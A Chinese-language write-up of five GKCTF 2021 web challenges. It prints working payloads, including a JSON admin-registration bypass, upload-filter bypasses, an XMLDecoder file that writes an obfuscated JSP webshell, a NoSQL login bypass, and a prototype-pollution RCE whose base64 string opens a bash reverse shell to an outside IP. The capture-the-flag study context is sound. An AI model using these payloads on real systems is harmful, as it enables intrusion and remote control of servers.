GKCTF 2021
字数 1196 2025-08-13 21:33:25

GKCTF 2021 Web题目解析与漏洞利用技术详解

0x01 babycat题目分析

漏洞发现与利用

  1. 注册功能绕过

    • 发现Sign Up功能被禁用但可访问
    • 修改登录包,将方法改为register成功注册用户
  2. 任意文件下载漏洞

    • 在DownLoad Test处发现任意文件下载
    • 爬取到web.xml文件,获取关键servlet配置信息
    <servlet>
      <servlet-name>register</servlet-name>
      <servlet-class>com.web.servlet.registerServlet</servlet-class>
    </servlet>
    
  3. 权限提升漏洞

    • 利用Gson兼容性问题注册为admin
    • 构造特殊JSON数据绕过权限检查:
    data={"username":"test","password":"test","role":"admin"/*,"role":"test"*/}
    
  4. WAF绕过与文件上传

    • 审计发现上传逻辑缺陷:
    if (checkExt(ext) || checkContent(item.getInputStream())) {
        req.setAttribute("error", "upload failed");
        req.getRequestDispatcher("../WEB-INF/upload.jsp").forward(req, resp);
    }
    
    • 即使进入if语句也会继续执行,WAF无效
    • 上传webshell到可访问的static目录

0x02 easycms题目分析

漏洞利用链

  1. 后台弱口令

    • 指纹识别为禅知CMS 7.7
    • 使用默认凭证admin:12345登录后台
  2. 文件上传与目录穿越

    • 在组件->素材库上传.txt文件
    • 修改文件名实现目录穿越,创建必要文件:
    /var/www/html/system/tmp/clyq.txt
    
  3. 模板注入

    • 利用创建的txt文件进行模板注入执行命令:
    <?php `cat /flag`;?>
    

0x03 babyrevenge题目分析

复杂利用链

  1. 路径信息收集

    • 通过download模块获取绝对路径:
    file=proc/self/environ
    
  2. XMLDecoder反序列化漏洞

    • 上传恶意db.xml覆盖原配置文件
    • 利用XMLDecoder反序列化写webshell
    <?xml version="1.0" encoding="UTF-8"?>
    <java version="1.8.0_192" class="java.beans.XMLDecoder">
      <object class="java.io.PrintWriter">
        <string>/usr/local/tomcat/webapps/ROOT/static/shell.jsp</string>
        <void method="println">
          <string><![CDATA[<% if("b".equals(request.getParameter("pwd"))){ 
            java.io.InputStream in = \u0052\u0075\u006e\u0074\u0069\u006d\u0065\u002e\u0067\u0065\u0074\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0028\u0029\u002e\u0065\u0078\u0065\u0063(request.getParameter("i")).getInputStream();
            // 省略...
          ]]></string>
        </void>
      </object>
    </java>
    
  3. Unicode编码绕过

    • 过滤了常见命令执行函数,使用Unicode编码绕过

0x04 hackme题目分析

多阶段攻击

  1. WAF绕过

    • 使用Unicode编码绕过正则过滤:
    {"username":{"\u0024\u0065\u0071":"admin"},"password":{"\u0024\u0072\u0065\u0067\u0065\u0078":"^%s"}}
    
  2. 密码爆破

    • 通过响应差异爆破出密码:42276606202db06ad1f29ab6b4a1307f
  3. Nginx漏洞利用

    • 发现Nginx版本1.17.6存在CVE-2019-20372(HTTP走私漏洞)
    • 尝试利用session_upload_progress上传shell打入内网

0x05 easynode题目分析

高级JavaScript漏洞利用

  1. WAF绕过技术

    • 利用数组拼接绕过字符检查:
    username[]=admin'#&username[]=a&username[]=a&username[]=a&username[]=a&username[]=a&username[]=a&username[]=a&username[]=a&username[]=(&password=123456
    
  2. 原型链污染漏洞

    • 漏洞代码分析:
    for(var key in data){
        var addDIV = `{"${username}":{"${key}":"${data[key]}"}}`;
        extend(board,JSON.parse(addDIV));
    }
    
    • 创建__proto__账号进行污染
  3. RCE利用

    • 构造恶意payload触发命令执行:
    data={"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('echo YmFzaCAtYyAiYmFzaCAtaSA%2BJiAvZGV2L3RjcC80Ny4xMDEuNTcuNzIvMjMzMyAwPiYxIg%3D%3D|base64 -d|bash');var __tmp2"}
    

技术要点总结

  1. JSON解析差异利用

    • 不同JSON解析器处理注释和重复键的差异可导致权限绕过
  2. WAF绕过技术

    • Unicode编码
    • 数组拼接
    • 协议方法修改
  3. 文件上传漏洞

    • 逻辑缺陷导致WAF绕过
    • 目录穿越技术
  4. 反序列化漏洞

    • XMLDecoder反序列化写webshell
    • 路径信息收集技术
  5. 原型链污染

    • JavaScript原型继承机制
    • __proto__属性控制
    • 污染链构造技术
  6. HTTP走私攻击

    • Nginx特定版本漏洞利用
    • 请求走私原理

以上技术点在实际渗透测试中具有广泛应用价值,理解这些漏洞原理和利用技术对于提升Web安全能力至关重要。

GKCTF 2021 Web题目解析与漏洞利用技术详解 0x01 babycat题目分析 漏洞发现与利用 注册功能绕过 : 发现Sign Up功能被禁用但可访问 修改登录包,将方法改为register成功注册用户 任意文件下载漏洞 : 在DownLoad Test处发现任意文件下载 爬取到web.xml文件,获取关键servlet配置信息 权限提升漏洞 : 利用Gson兼容性问题注册为admin 构造特殊JSON数据绕过权限检查: WAF绕过与文件上传 : 审计发现上传逻辑缺陷: 即使进入if语句也会继续执行,WAF无效 上传webshell到可访问的static目录 0x02 easycms题目分析 漏洞利用链 后台弱口令 : 指纹识别为禅知CMS 7.7 使用默认凭证admin:12345登录后台 文件上传与目录穿越 : 在组件->素材库上传.txt文件 修改文件名实现目录穿越,创建必要文件: 模板注入 : 利用创建的txt文件进行模板注入执行命令: 0x03 babyrevenge题目分析 复杂利用链 路径信息收集 : 通过download模块获取绝对路径: XMLDecoder反序列化漏洞 : 上传恶意db.xml覆盖原配置文件 利用XMLDecoder反序列化写webshell Unicode编码绕过 : 过滤了常见命令执行函数,使用Unicode编码绕过 0x04 hackme题目分析 多阶段攻击 WAF绕过 : 使用Unicode编码绕过正则过滤: 密码爆破 : 通过响应差异爆破出密码:42276606202db06ad1f29ab6b4a1307f Nginx漏洞利用 : 发现Nginx版本1.17.6存在CVE-2019-20372(HTTP走私漏洞) 尝试利用session_ upload_ progress上传shell打入内网 0x05 easynode题目分析 高级JavaScript漏洞利用 WAF绕过技术 : 利用数组拼接绕过字符检查: 原型链污染漏洞 : 漏洞代码分析: 创建__ proto__ 账号进行污染 RCE利用 : 构造恶意payload触发命令执行: 技术要点总结 JSON解析差异利用 : 不同JSON解析器处理注释和重复键的差异可导致权限绕过 WAF绕过技术 : Unicode编码 数组拼接 协议方法修改 文件上传漏洞 : 逻辑缺陷导致WAF绕过 目录穿越技术 反序列化漏洞 : XMLDecoder反序列化写webshell 路径信息收集技术 原型链污染 : JavaScript原型继承机制 __ proto__ 属性控制 污染链构造技术 HTTP走私攻击 : Nginx特定版本漏洞利用 请求走私原理 以上技术点在实际渗透测试中具有广泛应用价值,理解这些漏洞原理和利用技术对于提升Web安全能力至关重要。